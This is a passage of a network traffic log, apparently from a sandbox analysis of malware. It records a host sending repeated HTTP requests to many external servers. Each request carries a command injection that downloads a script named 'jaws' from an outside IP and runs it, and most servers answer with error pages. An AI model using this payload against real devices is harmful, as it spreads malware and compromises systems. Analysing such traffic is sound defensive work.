Jan 2, 2024 06:24:19.303888083 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 02 Jan 2024 05:24:17 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
201	192.168.2.23	41366	201.229.167.159	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:19.178132057 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:19.357872963 CET	1286	IN	HTTP/1.1 400 Bad Request Server: ZTE web server 1.0 ZTE corp 2015. Accept-Ranges: bytes Connection: close X-Frame-Options: SAMEORIGIN Content-Type: text/html; charset=iso-8859-1 X-Content-Type-Options: nosniff Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 0a 3c 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 49 46 5f 45 52 52 4f 52 53 54 52 3e 53 65 73 73 69 6f 6e 54 69 6d 65 6f 75 74 3c 2f 49 46 5f 45 52 52 4f 52 53 54 52 3e 0a 3c 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 0a 3c 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 0a 3c 2f 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 Data Ascii: <html> <head><title>400 Bad Request</title></head> <body bgcolor="#FFFFFF" text="#000000" link="#2020ff" vlink="#4040cc"> <h2>400 Bad Request</h2>Your request has bad syntax or is inherently impossible to satisfy.<div style="display:none"><ajax_response_xml_root><IF_ERRORSTR>SessionTimeout</IF_ERRORSTR><IF_ERRORPARAM>SUCC</IF_ERRORPARAM><IF_ERRORTYPE>SUCC</IF_ERRORTYPE></ajax_response_xml_root><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its
Jan 2, 2024 06:24:19.358818054 CET	156	IN	Data Raw: 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 Data Ascii: own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span></div><hr /></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
202	192.168.2.23	60268	82.165.119.133	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:19.252681017 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:19.499870062 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 02 Jan 2024 05:24:19 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
203	192.168.2.23	59548	91.200.67.110	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:19.258177996 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:19.511079073 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 02 Jan 2024 05:24:19 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
204	192.168.2.23	34468	213.29.227.250	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:19.265733004 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:19.609971046 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
205	192.168.2.23	58798	54.199.121.170	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:19.269484997 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
206	192.168.2.23	56372	185.110.26.82	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:19.276073933 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:19.546664953 CET	392	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:19 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
207	192.168.2.23	46528	103.141.149.90	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:19.516602993 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:19.880481958 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 02 Jan 2024 05:24:21 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
208	192.168.2.23	41386	201.229.167.159	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:19.531088114 CET	1286	IN	HTTP/1.1 400 Bad Request Server: ZTE web server 1.0 ZTE corp 2015. Accept-Ranges: bytes Connection: close X-Frame-Options: SAMEORIGIN Content-Type: text/html; charset=iso-8859-1 X-Content-Type-Options: nosniff Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 0a 3c 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 49 46 5f 45 52 52 4f 52 53 54 52 3e 53 65 73 73 69 6f 6e 54 69 6d 65 6f 75 74 3c 2f 49 46 5f 45 52 52 4f 52 53 54 52 3e 0a 3c 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 0a 3c 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 0a 3c 2f 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 Data Ascii: <html> <head><title>400 Bad Request</title></head> <body bgcolor="#FFFFFF" text="#000000" link="#2020ff" vlink="#4040cc"> <h2>400 Bad Request</h2>Your request has bad syntax or is inherently impossible to satisfy.<div style="display:none"><ajax_response_xml_root><IF_ERRORSTR>SessionTimeout</IF_ERRORSTR><IF_ERRORPARAM>SUCC</IF_ERRORPARAM><IF_ERRORTYPE>SUCC</IF_ERRORTYPE></ajax_response_xml_root><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its
Jan 2, 2024 06:24:19.531976938 CET	156	IN	Data Raw: 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 Data Ascii: own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span></div><hr /></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
209	192.168.2.23	46902	205.164.12.222	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:20.042563915 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
210	192.168.2.23	60554	94.237.51.52	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:20.104130030 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:20.329721928 CET	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jan 2024 05:24:09 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
211	192.168.2.23	32958	2.136.180.91	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:20.174770117 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
212	192.168.2.23	44040	13.249.87.54	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:23.621355057 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:24.365310907 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
